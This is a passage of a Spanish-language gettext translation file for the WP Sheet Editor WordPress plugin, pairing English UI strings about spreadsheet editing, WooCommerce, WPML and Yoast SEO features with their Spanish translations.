                  " msgstr "" "

                  Ver y despachar todos los pedidos rápidamente. Búsqueda avanzada por " "cualquier campo (método de envío, impuestos, IVA, métodos de pago, clientes, " "productos, etc.). Exportar pedidos e información de clientes incluyendo " "clientes invitados. Editar miles de pedidos rápidamente. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:290 msgid "Comments, Reviews, and Order Notes Spreadsheet" msgstr "Hoja de Cálculo de Comentarios, Reseñas y Notas de Pedido" #: wp-sheet-editor/dev/wp-sheet-editor.php:293 msgid "" "

                  It is the best way to manage your comments, WooCommerce customer " "reviews, event reviews, testimonials, and order notes in a spreadsheet. You " "can make advanced searches by any field (keyword, order note, status, find " "comments by post type, and all the fields). You can bulk edit them, delete " "all at once, export them to excel or external systems, import comments and " "reviews from other systems, and more.

                  " msgstr "" "

                  Es la mejor manera de gestionar tus comentarios, las valoraciones de los " "clientes de WooCommerce, los comentarios de los eventos, los testimonios y " "las notas de pedido en una hoja de cálculo. Puedes hacer búsquedas avanzadas " "por cualquier campo (palabra clave, nota de pedido, estado, encontrar " "comentarios por post type, y todos los campos). Puedes editarlos " "masivamente, borrarlos todos a la vez, exportarlos a Excel o a sistemas " "externos, importar comentarios y reseñas de otros sistemas, y más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:304 msgid "Custom Database Tables Spreadsheet" msgstr "Hoja de Cálculo de Tablas de Bases de Datos Personalizadas" #: wp-sheet-editor/dev/wp-sheet-editor.php:307 msgid "" "

                  One Spreadsheet for Every Custom Database Table added by other plugins. " "Live edit in the cells, Bulk Edit, Make advanced searches by any field, " "export and import, bulk delete, move information between sites, edit " "thousands of items, and more.

                  " msgstr "" "

                  Una hoja de cálculo para cada tabla personalizada encontrada en tu base " "de datos, incluyendo tablas agregadas por otros plugins. Edita en vivo. Haz " "ediciones masivas en miles de filas. Haz búsquedas avanzadas. Exporta. " "Importar. Eliminar filas en lotes. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:319 msgid "Easy Digital Downloads Spreadsheet" msgstr "Hoja de Cálculo de Easy Digital Downloads" #: wp-sheet-editor/dev/wp-sheet-editor.php:322 msgid "" "

                  View all the EDD products in a spreadsheet, create downloads and files " "in bulk, edit hundreds of products at once using formulas, Advanced searches " "using multiple fields, etc.

                  " msgstr "" "

                  Ver todas las descargas de Easy Digital Downloads en una hoja de cálculo. " "Crear descargas y archivos masivamente. Editar cientos de productos a la vez " "usando fórmulas. Búsquedas avanzadas usando múltiples campos. Y mucho más." #: wp-sheet-editor/dev/wp-sheet-editor.php:333 msgid "Events Spreadsheet" msgstr "Hoja de Cálculo de The Events Calendar" #: wp-sheet-editor/dev/wp-sheet-editor.php:336 msgid "" "

                  View all the events in a spreadsheet, create events in bulk, edit " "hundreds of events at once using formulas, Advanced searches using multiple " "event fields, etc.

                  " msgstr "" "

                  Ver todos los eventos del plugin The Events Calendar en una hoja de " "cálculo. Crear eventos masivamente. Editar cientos de eventos a la vez " "usando fórmulas. Búsquedas avanzadas usando múltiples campos de eventos. Y " "mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:347 msgid "Give Spreadsheet" msgstr "Hoja de Cálculo de GiveWP" #: wp-sheet-editor/dev/wp-sheet-editor.php:350 msgid "" "

                  This includes spreadsheets to manage Donation Forms, Donations, and " "Donors. You can bulk edit, export, import, and quickly manage your donations " "website created with GiveWP

                  " msgstr "" "

                  Hojas de cálculo para gestionar Formularios de Donación, Donaciones y " "Donantes del plugin GiveWP. Puedes editar en masa, exportar, importar y " "gestionar rápidamente tu sitio web de donaciones.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:361 msgid "Display the spreadsheet editor in the frontend" msgstr "Mostrar el editor de hojas de cálculo en el frontend" #: wp-sheet-editor/dev/wp-sheet-editor.php:364 msgid "" "

                  Create new spreadsheets with custom columns and Share the Spreadsheets " "with your Users or Employees on the Frontend. Useful for marketplaces where " "vendors should edit products in the spreadsheet, allow post or event " "submissions on the Frontend, events directories, Web Apps, Custom " "Dashboards, etc.

                  " msgstr "" "

                  Crea nuevas hojas de cálculo con columnas personalizadas y comparte las " "hojas de cálculo con tus usuarios o empleados en el frontend. Es útil para " "los mercados donde los vendedores deben editar los productos en la hoja de " "cálculo, permitir el envío de entradas o eventos en el frontend, directorios " "de eventos, aplicaciones web, tableros personalizados, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:374 msgid "WooCommerce - Products Integration" msgstr "Integración con Productos WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:377 msgid "" "

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of " "products, including Variable Products, Downloadable Products, External " "Products, Simple Products. You can edit all product fields in the " "spreadsheet, including attributes, images, etc.

                  " msgstr "" "

                  Editar productos de WooCommerce en la hoja de cálculo. Soporta todo tipo " "de productos, incluyendo Productos Variables, Productos Descargables, " "Productos Externos, Productos Simples. Puedes editar todos los campos de " "productos en la hoja de cálculo, incluyendo atributos, imágenes, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:386 msgid "Custom post types" msgstr "Tipos de post personalizados" #: wp-sheet-editor/dev/wp-sheet-editor.php:389 msgid "" "

                  Edit restaurant menus, courses, projects, portfolios, and all custom " "post types.

                  " msgstr "" "

                  Editar menús de restaurantes, cursos, proyectos, portafolios, y todos " "los post types personalizados.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:396 msgid "Columns renaming" msgstr "Renombrar columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:399 msgid "" "

                  You can rename the columns of the spreadsheet.
                  Example. Instead of " "showing “Post author” on the spreadsheet, you can change it to “Uploaded by”." "

                  " msgstr "" "

                  Puedes cambiar el nombre de las columnas de la hoja de cálculo. En lugar " "de mostrar \"Autor\" en la hoja de cálculo, puedes cambiarlo a \"Subido " "por\".

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:400 #: wp-sheet-editor/dev/wp-sheet-editor.php:412 #: wp-sheet-editor/dev/wp-sheet-editor.php:505 #: wp-sheet-editor/dev/wp-sheet-editor.php:533 msgid "Install for Free" msgstr "Instalar Gratis" #: wp-sheet-editor/dev/wp-sheet-editor.php:408 msgid "YOAST SEO" msgstr "YOAST SEO" #: wp-sheet-editor/dev/wp-sheet-editor.php:411 msgid "" "

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  " msgstr "" "

                  Editar el título, la descripción, la palabra clave y la puntuación de " "SEO en la hoja de cálculo

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:420 msgid "Advanced Search" msgstr "Búsqueda Avanzada" #: wp-sheet-editor/dev/wp-sheet-editor.php:423 msgid "" "

                  Find posts by keyword, taxonomies, author, date, status, or custom " "fields.

                  Search in multiple fields with advanced operators: =, !=, " "<, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio " "with stock < 20, or products from category Apple without featured image, or " "products containing the keyword \"Google\" without image gallery.

                  " msgstr "" "

                  Buscar entradas por palabra clave, taxonomías, autor, fecha, estado o " "campos personalizados.

                  Buscar en múltiples campos con operadores " "avanzados: =, !=, <, >, LIKE, NOT LIKE

                  Ejemplos: Encontrar " "productos de la categoría Audio con inventario < 20, o productos de la " "categoría Manzana sin imagen destacada, o productos que contengan la palabra " "clave \"Google\" y que no tengan galerías de imágenes.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:430 msgid "Formulas" msgstr "Fórmulas" #: wp-sheet-editor/dev/wp-sheet-editor.php:433 msgid "" "

                  Edit Hundreds of Posts at Once with just a few clicks. Search and " "replace, Replace urls and phrases, save values to fields in bulk, copy " "values between fields, merge fields, etc..

                  Examples: Copy regular " "price to sale price, update product attributes names, etc.

                  " msgstr "" "

                  Editar cientos de entradas a la vez con unos pocos clics. Buscar y " "reemplazar. Reemplazar URLs y frases. Guardar valores en campos masivamente. " "Copiar valores entre campos. Combinar campos. Y mucho más.

                  Ejemplos: " "Copiar el precio normal al precio de rebajado, actualizar los nombres de los " "atributos de los productos, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:440 msgid "Math Formulas" msgstr "Fórmulas matemáticas" #: wp-sheet-editor/dev/wp-sheet-editor.php:443 msgid "" "

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced " "math formulas. Example, increase prices by 10% , manage inventory , etc. Run " "any math formula.

                  You can use multiple fields in the formula, for " "example, \"Regular price x Inventory / Sales price

                  " msgstr "" "

                  Editar cientos de entradas a la vez. Actualizar campos numéricos usando " "fórmulas matemáticas avanzadas. Por ejemplo, aumentar los precios en un 10%, " "gestionar el inventario, etc. Ejecutar cualquier fórmula matemática.

                  Puedes utilizar varios campos en la fórmula. Por ejemplo, \"Precio " "normal x Precio de inventario / Precio rebajado

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:450 msgid "Advanced Custom Fields" msgstr "Advanced Custom Fields" #: wp-sheet-editor/dev/wp-sheet-editor.php:453 msgid "" "

                  Advanced Custom Fields metaboxes appear in the Spreadsheet " "Automatically. So you can edit custom fields easily.

                  " msgstr "" "

                  Los campos creados con el plugin Advanced Custom Fields aparecen en la " "hoja de cálculo automáticamente. Así que puedes editar campos personalizados " "fácilmente.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:460 msgid "Edit Custom Fields in Spreadsheet" msgstr "Editar Campos Personalizados en una Hoja de Cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:463 msgid "" "

                  You can create columns for custom fields.
                  Edit page settings added " "by your theme, event details, products information, etc.

                  " msgstr "" "

                  Puedes crear columnas para campos personalizados.
                  Editar la " "configuración de la página añadida por el tema, los detalles del evento, la " "información de los productos, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:470 msgid "Edit Posts and Pages in Spreadsheet" msgstr "Editar Entradas y Páginas en una Hoja de Cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:473 msgid "

                  Edit default post fields in spreadsheet.

                  " msgstr "

                  Editar campos de entradas por defecto en una hoja de cálculo.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:481 msgid "WooCommerce - BASIC integration" msgstr "WooCommerce - Integración BASICA" #: wp-sheet-editor/dev/wp-sheet-editor.php:484 msgid "" "

                  You can edit simple products only. Available columns: title, url, " "description, date, SKU, regular price, sale price, stock status, manage " "stock, stock quantity.

                  More columns and product types available as " "premium extension.

                  " msgstr "" "

                  Sólo puedes editar productos simples. Columnas disponibles: título, URL, " "descripción, fecha, SKU, precio normal, precio rebajado, estado de " "inventario, gestión del inventario, cantidad de existencias.

                  Más " "columnas y tipos de producto disponibles como extensión premium.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:492 msgid "Columns visibility" msgstr "Visibilidad de las columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:495 msgid "

                  You can show, hide, and sort columns in the spreadsheet.

                  " msgstr "" "

                  Puedes mostrar, ocultar y cambiar el orden de las columnas en la hoja de " "cálculo.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:501 msgid "Autofill cells" msgstr "Autocompletar las celdas" #: wp-sheet-editor/dev/wp-sheet-editor.php:504 msgid "" "

                  You can auto fill cells (copy) by dragging the cell corner into other " "cells, as you can do in excel.

                  " msgstr "" "

                  Puedes rellenar automáticamente las celdas (copiar) arrastrando la " "esquina de la celda a otras celdas, como lo haces en Excel.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:512 msgid "Basic search" msgstr "Búsqueda básica" #: wp-sheet-editor/dev/wp-sheet-editor.php:514 msgid "" "

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  " msgstr "" "

                  Buscar en la hoja de cálculo. Buscar filas por palabra clave, estado y " "autor.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:522 msgid "Columns resizing" msgstr "Redimensionar columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:524 msgid "" "

                  Resize columns in the spreadsheet and save it for future sessions.

                  " msgstr "" "

                  Puedes cambiar el tamaño de las columnas en la hoja de cálculo y " "guardarlo para sesiones futuras.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:530 msgid "Duplicate (Tool)" msgstr "Duplicar (Herramienta)" #: wp-sheet-editor/dev/wp-sheet-editor.php:532 msgid "" "

                  Add a \"duplicate\" tool to the spreadsheet. You can select one row " "(post, product, coupon, etc.) and create a lot of copies.

                  Example. " "Create 100 products with the same tags, dimensions, attributes, and " "variations. And only change a couple of fields manually.

                  " msgstr "" "

                  Añadir una herramienta de \"duplicar\" a la hoja de cálculo. Puedes " "seleccionar una fila (entrada, producto, cupón, etc.) y crear muchas copias." "

                  Ejemplo: Crear 100 productos con las mismas etiquetas, dimensiones, " "atributos y variaciones. Y sólo cambiar un par de campos manualmente.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:546 msgid "Everything you need for All Posts Types and Products" msgstr "Todo lo que necesitas para todos los post types y productos" #: wp-sheet-editor/dev/wp-sheet-editor.php:553 #: wp-sheet-editor/dev/wp-sheet-editor.php:566 msgid "Buy bundle" msgstr "Comprar el paquete" #: wp-sheet-editor/dev/wp-sheet-editor.php:559 msgid "Everything you need for Users and Customers" msgstr "Todo lo que necesitas para los usuarios y clientes" #: wp-sheet-editor/dev/wp-sheet-editor.php:671 msgid "" "

                  WP Sheet Editor

                  \r\n" "

                  Do you want to install the premium plugin that you " "purchased? Follow these steps:

                  \r\n" "
                    \r\n" "
                  1. If you were using the free version of the plugin " "before the purchase, you need to uninstall the free version now
                  2. \r\n" "
                  3. When you purchased the plugin, you received an email " "with the download link and license key
                  4. \r\n" "
                  5. Now go to this " "page and click on the \"Upload\" button at the top
                  6. \r\n" "
                  7. Upload the premium zip file
                  8. \r\n" "
                  9. Activate the plugin
                  10. \r\n" "
                  11. You will see a screen asking for a license, enter " "your license key
                  12. \r\n" "
                  13. Done. Now you should see the welcome page where you " "can set up the plugin and start using it
                  14. \r\n" "
                  \r\n" "

                  If you need help, you can contact us

                  " msgstr "" "

                  WP Sheet Editor

                  \n" "

                  ¿Quieres instalar el plugin premium que compraste? Sigue " "estos pasos:

                  \n" "
                    \n" "
                  1. Si estabas usando la versión gratuita del plugin " "antes de la compra, necesita desinstalar la versión gratuita ahora.
                  2. \n" "
                  3. Cuando compraste el plugin, recibiste un correo " "electrónico con el enlace de descarga y la clave de licencia.
                  4. \n" "
                  5. ahora ve a esta " "página y haz clic en el botón \"Subir plugin\".
                  6. \n" "
                  7. Sube el archivo zip del plugin.
                  8. \n" "
                  9. Activa el plugin.
                  10. \n" "
                  11. Verás una pantalla solicitándote la licencia. " "Ingresa la licencia.
                  12. \n" "
                  13. Listo. Ahora deberías ver la página de bienvenida " "donde puedes configurar y comenzar a usar el plugin.
                  14. \n" "
                  \n" "

                  Si necesitas ayuda, puedes contactarnos

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:1046 msgid "Quick Answers" msgstr "Respuestas rápidas" #: wp-sheet-editor/dev/wp-sheet-editor.php:1047 msgid "You can read our FAQ with a list of hundreds of questions" msgstr "" "Puedes leer nuestras Preguntas Frecuentes con una lista de cientos de " "preguntas" #: wp-sheet-editor/dev/wp-sheet-editor.php:1051 msgid "Guides and Tutorials" msgstr "Guías y Tutoriales" #: wp-sheet-editor/dev/wp-sheet-editor.php:1052 msgid "We have +200 tutorials and guides on our blog" msgstr "Tenemos CIENTOS de tutoriales y guías en nuestro blog" #: wp-sheet-editor/dev/wp-sheet-editor.php:1057 msgid "Get instant help in the live chat + email support during business hours" msgstr "" "Obtén ayuda instantánea en el chat en vivo + soporte por correo electrónico " "en horas de oficina" #: wp-sheet-editor/dev/wp-sheet-editor.php:1094 msgid "WP Sheet Editor Usage" msgstr "Uso de WP Sheet Editor" #: wpml/inc/post.php:132 wpml/inc/term.php:74 msgid "WPML - Missing translations in these languages" msgstr "WPML - Faltan traducciones en estos idiomas" #: wpml/inc/post.php:132 msgid "" "For example, select \"Spanish\" and \"German\" here and we'll find products " "that don't have spanish translations or german translations." msgstr "" "Por ejemplo, selecciona \"español\" y \"alemán\" aquí y encontraremos " "productos que no tienen traducción al español ni al alemán." #: wpml/inc/post.php:369 wpml/inc/term.php:247 msgid "WPML - Duplicate" msgstr "WPML - Duplicar" #: wpml/inc/post.php:377 wpml/inc/term.php:255 msgid "" "Enter multiple language codes separated by commas and we will create copies " "of the main language. For example: en, es. Existing languages will be " "skipped." msgstr "" "Ingresa los códigos de varios idiomas separados por comas y crearemos copias " "del idioma principal. Por ejemplo: en, es. Los idiomas existentes serán " "omitidos." #: wpml/inc/post.php:389 wpml/inc/term.php:228 msgid "WPML - Translation of" msgstr "WPML - Traducción de" #: wpml/inc/post.php:408 msgid "WPML - Relationship" msgstr "WPML - Relación" #: wpml/inc/post.php:419 msgid "Duplicate from the main language" msgstr "Duplicar desde el idioma principal" #: wpml/inc/post.php:420 msgid "Translate separately" msgstr "Traducir por separado" #: wpml/inc/post.php:435 wpml/inc/term.php:267 msgid "WPML - Language" msgstr "WPML - Idioma" #: wpml/inc/post.php:446 wpml/inc/term.php:281 msgid "" "You can change the language of this post. If the translation for the new " "language exists, this change will not be applied." msgstr "" "Puedes cambiar el idioma de esta entrada. Si existe la traducción para el " "nuevo idioma, este cambio no se aplicará." #: wpml/inc/post.php:458 msgid "WPML - Translation priority" msgstr "WPML - Prioridad de traducción" #: wpml/inc/term.php:74 msgid "" "For example, select \"Spanish\" and \"German\" here and we'll find terms " "that don't have spanish translations or german translations." msgstr "" "Por ejemplo, selecciona \"español\" y \"alemán\" aquí y encontraremos " "términos que no tienen traducción al español ni al alemán." #: yoast-seo/yoast-seo.php:27 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión. Las características del plugin \"" #: yoast-seo/yoast-seo.php:238 msgid "SEO Title" msgstr "Título SEO" #: yoast-seo/yoast-seo.php:260 msgid "SEO Description" msgstr "Descripción SEO" #: yoast-seo/yoast-seo.php:278 msgid "SEO Keyword" msgstr "Palabra clave de SEO" #: yoast-seo/yoast-seo.php:299 msgid "SEO FB title" msgstr "Título SEO para Facebook" #: yoast-seo/yoast-seo.php:315 msgid "SEO FB description" msgstr "Descripción SEO para Facebook" #: yoast-seo/yoast-seo.php:331 msgid "SEO FB image" msgstr "Imagen SEO para Facebook" #: yoast-seo/yoast-seo.php:349 msgid "SEO TW title" msgstr "Título SEO para Twitter" #: yoast-seo/yoast-seo.php:365 msgid "SEO TW description" msgstr "Descripción SEO para Twitter" #: yoast-seo/yoast-seo.php:381 msgid "SEO TW image" msgstr "Imagen SEO para Twitter" #: yoast-seo/yoast-seo.php:399 msgid "SEO Canonical URL" msgstr "URL Canónica de SEO" #: yoast-seo/yoast-seo.php:421 msgid "SEO No Index" msgstr "SEO - No indexar" #: yoast-seo/yoast-seo.php:449 msgid "SEO" msgstr "SEO" #: yoast-seo/yoast-seo.php:474 msgid "SEO Primary %s" msgstr "%s SEO Primario" #~ msgid "Post ID" #~ msgstr "ID" #~ msgid "The cells will display the date in the format: YYYY-MM-DD" #~ msgstr "Las celdas mostrarán la fecha en el formato: AAAA-MM-DD" #~ msgid "Generated formula:" #~ msgstr "Fórmula generada:" #~ msgid "Execute formula on future posts automatically (Advanced users only)" #~ msgstr "" #~ "Ejecutar la fórmula en futuros posts automáticamente (Sólo usuarios " #~ "avanzados)" #~ msgid "" #~ "If you mark this option , when you create or update a post in the " #~ "spreadsheet, we will check if the post matches the formula parameters and " #~ "execute the formula automatically on that post. For example. When you " #~ "create a product with category apples we can set the description " #~ "automatically, or when you change the SKU we can update the downloadable " #~ "files URLs automatically." #~ msgstr "" #~ "Si marcas esta opción, cuando crees o actualices un post en la hoja de " #~ "cálculo, comprobaremos si el post coincide con los parámetros de la " #~ "fórmula y ejecutaremos la fórmula automáticamente en ese post. Por " #~ "ejemplo. Al crear un producto con la categoría \"Manzanas\" podemos " #~ "establecer la descripción automáticamente, o al cambiar el SKU podemos " #~ "actualizar las URL de los archivos descargables automáticamente." #~ msgid "Execute on future posts only" #~ msgstr "Ejecutar sólo en futuros posts" #~ msgid "" #~ "Here you can view all the formulas saved for ongoing execution. These " #~ "formulas will be executed on posts matching the filters when they are " #~ "created or updated in the spreadsheet." #~ msgstr "" #~ "Aquí puedes ver todas las fórmulas guardadas para la ejecución en curso. " #~ "Estas fórmulas se ejecutarán en los post que coincidan con los filtros " #~ "cuando se creen o actualicen en la hoja de cálculo." #~ msgid "" #~ "Note. If you want to modify saved formulas you have to delete the formula " #~ "and create it again in the formulas builder." #~ msgstr "" #~ "Nota. Si quieres modificar fórmulas guardadas, tienes que borrar la " #~ "fórmula y crearla de nuevo en el editor de fórmulas." #~ msgid "You haven't saved formulas yet." #~ msgstr "Aun no has guardado fórmulas." #~ msgid "Field to update:" #~ msgstr "Campo a actualizar:" #~ msgid "Formula type:" #~ msgstr "Tipo de fórmula:" #~ msgid "Formula parameters:" #~ msgstr "Parámetros de la fórmula:" #~ msgid "Parameter:" #~ msgstr "Parámetro:" #~ msgid "All" #~ msgstr "Todo" #~ msgid "" #~ "Replace existing value with a random value from this list. Enter the " #~ "values separated with |" #~ msgstr "" #~ "Reemplazar un valor existente con un valor aleatorio de esta lista. " #~ "Ingresa valores separados con |" #~ msgid "" #~ "Note. More than 75 copies at once might overload the server. Do it in " #~ "small batches.
                  You can continue if you think your server can handle it." #~ msgstr "" #~ "Nota. Más de 75 copias a la vez podrían sobrecargar el servidor. Hazlo en " #~ "lotes pequeños.
                  Puedes continuar si crees que tu servidor puede " #~ "manejarlo." #~ msgid "Edit in Google Sheets" #~ msgstr "Editar en Google Sheets" #~ msgid "" #~ "1. Open Google Sheets." #~ "
                  2. Click on \"wp sheet editor\" in the menu
                  3. Enter this link in " #~ "the \"quick access\" option in the Google Sheet sidebar." #~ msgstr "" #~ "1. Open Google Sheets." #~ "
                  2. Click on \"wp sheet editor\" in the menu
                  3. Enter this link in " #~ "the \"quick access\" option in the Google Sheet sidebar." #~ msgid "" #~ "Use this link privately for security reasons, this link expires after one " #~ "usage." #~ msgstr "" #~ "Usa este enlace de forma privada por razones de seguridad, este enlace " #~ "expira después de un uso." #~ msgid "JWT is not configurated properly, please contact the admin" #~ msgstr "" #~ "JWT no está configurado correctamente, por favor contacta con el " #~ "administrador" #~ msgid "The quick access link has expired or it does not exist" #~ msgstr "El enlace de acceso rápido ha caducado o no existe" #~ msgid "Note. This works in Google Chrome only." #~ msgstr "Nota. Esto sólo funciona en Google Chrome." #~ msgid "" #~ "Add this code at the beginning of the .htaccess file in the root " #~ "directory of your website. It is required for authenticating requests " #~ "between Google Sheets and WordPress" #~ msgstr "" #~ "Añade este código al principio del archivo .htaccess en el directorio " #~ "raíz de tu sitio web. Es necesario para autentificar las solicitudes " #~ "entre Google Sheets y WordPress" #~ msgid "" #~ "Install the \"WP Sheet Editor\" chrome extension. Install" #~ msgstr "" #~ "Instalar la extensión \"WP Sheet Editor\" en Chrome. Instalar" #~ msgid "" #~ "Open Google Sheets. Click here" #~ msgstr "" #~ "Abrir Google Sheets. Clic aquí" #~ msgid "In Google Sheets > top toolbar. Open the \"WordPress\" option." #~ msgstr "" #~ "En Google Sheets > barra de herramientas superior. Abre la opción " #~ "\"WordPress\"." #~ msgid "" #~ "Copy this access link and paste it in Google Sheets. Get quick access link" #~ msgstr "" #~ "Copia este enlace de acceso y pégalo en Google Sheets. Obtener enlace de acceso rápido " #~ msgid "" #~ "You must use it privately for security reasons, this link expires after " #~ "one usage." #~ msgstr "" #~ "Debes utilizarlo en privado por razones de seguridad, este enlace expira " #~ "después de un uso." #~ msgid "Error 8391. You dont have enough permissions to view this page." #~ msgstr "Error 8391. No tienes suficientes permisos para ver esta página." #~ msgid "Add new posts" #~ msgstr "Añadir nuevos posts" #~ msgid "Deactivate everything. Use the REST API only" #~ msgstr "Desactivar todo. Usar sólo la API REST" #~ msgid "" #~ "If you activate this option we will deactivate all the spreadsheets, " #~ "settings pages, and the entire plugin will become invisible to the user. " #~ "Only the REST API will remain active. This is useful for advanced " #~ "scenarios when you only use our REST API to keep websites synchronized " #~ "with external spreadsheets or systems. When this option is active, our " #~ "settings page will moved under the general settings menu because our " #~ "sheet editor menu will be removed" #~ msgstr "" #~ "Si activas esta opción, desactivaremos todas las hojas de cálculo, " #~ "páginas de configuración y el plugin completo se volverá invisible para " #~ "el usuario. Sólo la API REST permanecerá activa. Esto es útil para " #~ "escenarios avanzados cuando sólo usas nuestra API REST para mantener los " #~ "sitios web sincronizados con hojas de cálculo o sistemas externos. Cuando " #~ "esta opción está habilitada, nuestra página de configuración se moverá " #~ "bajo el menú de configuración general porque nuestro menú de editor de " #~ "hojas será eliminado" #~ msgid "" #~ "The taxonomy columns (i.e. categories, tags) use a limited dropdown by " #~ "default for selecting one term only and the column can be copy pasted. We " #~ "have a fancy dropdown selector, which has better auto complete, allows " #~ "selecting multiple options, etc. but it uses more server resources and it " #~ "doesn't allow copy pasting in these cells. You can activate it here if " #~ "you prefer a better dropdown over the ability to copy paste." #~ msgstr "" #~ "Las columnas de taxonomía (es decir, las categorías, las etiquetas) " #~ "utilizan un menú desplegable limitado por defecto para seleccionar un " #~ "solo término y la columna se puede copiar y pegar. Tenemos un selector " #~ "desplegable de avanzado, que tiene mejor autocompletado, permite " #~ "seleccionar múltiples opciones, etc. pero utiliza más recursos del " #~ "servidor y no permite copiar y pegar en estas celdas. Puedes activarlo " #~ "aquí si prefieres un desplegable mejor que la capacidad de copiar y pegar." #~ msgid "Enable the REST API" #~ msgstr "Habilitar la API REST" #~ msgid "" #~ "The REST API can be used for interacting with our spreadsheet from " #~ "external apps." #~ msgstr "" #~ "La API REST puede utilizarse para interactuar con nuestra hoja de cálculo " #~ "desde aplicaciones externas." #, fuzzy #~| msgid "Parent Spreadsheet:" #~ msgid "Current spreadsheet: %s" #~ msgstr "Hoja Superior:" #~ msgid "0 rows" #~ msgstr "0 filas" #~ msgid "" #~ "New extension - WooCommerce Coupons - View/edit coupons in a spreadsheet. " #~ "Advanced search, Bulk Edit hundreds of coupons, etc. Perfect for the " #~ "christmas season. View Extension)" #~ msgstr "" #~ "Nueva extensión - Cupones WooCommerce - Ver/editar cupones en una hoja de " #~ "cálculo. Búsqueda avanzada, edición masiva de cientos de cupones, etc. " #~ "Perfecto para la temporada navideña. Ver " #~ "Extensión )" #~ msgid "" #~ "New extension - EVENTS - View/edit events, venues, and organizers in a " #~ "spreadsheet. Advanced search, etc. View " #~ "Extension)" #~ msgstr "" #~ "Nueva extensión - EVENTOS - Ver/editar eventos, lugares y organizadores " #~ "en una hoja de cálculo. Búsqueda avanzada, etc. Ver Extensión )" #~ msgid "" #~ "New feature - Added support for Advanced Custom Fields > relationship " #~ "fields. Paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Añadido soporte para Campos Personalizados " #~ "Avanzados > campos de relación. Sólo usuarios de pago . Actualizar)" #~ msgid "" #~ "Improved tools: formulas engine. Now you can make advanced searches and " #~ "apply formulas to the search results. Paid users only. Upgrade)" #~ msgstr "" #~ "Herramientas mejoradas: motor de fórmulas. Ahora puedes hacer búsquedas " #~ "avanzadas y aplicar fórmulas a los resultados de la búsqueda. Sólo " #~ "usuarios de pago . Actualizar)" #~ msgid "" #~ "Improved sheet: Moved settings to a dropdown to simplify the UI and added " #~ "new context menu options" #~ msgstr "" #~ "Hoja mejorada: Se ha movido la configuración a un menú desplegable para " #~ "simplificar la interfaz de usuario y se han añadido nuevas opciones de " #~ "menú contextual" #~ msgid "" #~ "Improved tools: columns visibility. Now you can delete unnecessary " #~ "columns and improved sorting and disable logic" #~ msgstr "" #~ "Herramientas mejoradas: visibilidad de columnas. Ahora puedes eliminar " #~ "columnas innecesarias y mejorar la lógica de ordenación y desactivación" #~ msgid "Fixed more than 13 bugs" #~ msgstr "Arreglados más de 13 bugs" #~ msgid "Improved 7 features" #~ msgstr "7 características mejoradas" #~ msgid "Updated 6 extensions." #~ msgstr "Actualizadas 6 extensiones." #~ msgid "View the entire changelog" #~ msgstr "" #~ "Ver el registro de cambios completo " #~ msgid "Dropdown with predefined options" #~ msgstr "Desplegable con opciones predefinidas" #~ msgid "" #~ "In this page you can select the label for every column displayed in the " #~ "spreadsheet editor. Each post type has its own set of options." #~ msgstr "" #~ "En esta página puedes seleccionar la etiqueta para cada columna mostrada " #~ "en el editor de la hoja de cálculo. Cada tipo de post tiene su propio " #~ "conjunto de opciones." #~ msgid "

                  " #~ msgstr "

                  " #~ msgid "Post type: %s" #~ msgstr "Tipo de Post: %s" #~ msgid "Label for %s?" #~ msgstr "Etiqueta para %s?" #~ msgid "Columns Labels" #~ msgstr "Etiquetas de las columnas" #~ msgid "Enter the new value." #~ msgstr "Ingresa el nuevo valor." #~ msgid "Enter the term(s) to append to the existing term(s)." #~ msgstr "" #~ "Ingresa el término(s) a agregar al final del término(s) existente(s)." #~ msgid "" #~ "For example, if you searched for posts by \"author = Mark\" using the " #~ "search tool, we will export only posts with \"author Mark\"" #~ msgstr "" #~ "Por ejemplo, si buscaste los posts por \"autor = Marcos\" usando la " #~ "herramienta de búsqueda, exportaremos sólo los posts con \"autor Marcos\"" #~ msgid "Post Types" #~ msgstr "Tipos de Post" #~ msgid "" #~ "

                  Security: Now the file upload cells are displayed only to the users " #~ "that have permissions to upload files.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora las celdas de carga de archivos se muestran sólo para " #~ "los usuarios que tienen permisos para cargar archivos.

                  " #~ msgid "" #~ "

                  Security: Now the private posts and pages are displayed only to the " #~ "users who have permissions to read and edit them.

                  " #~ msgstr "" #~ "

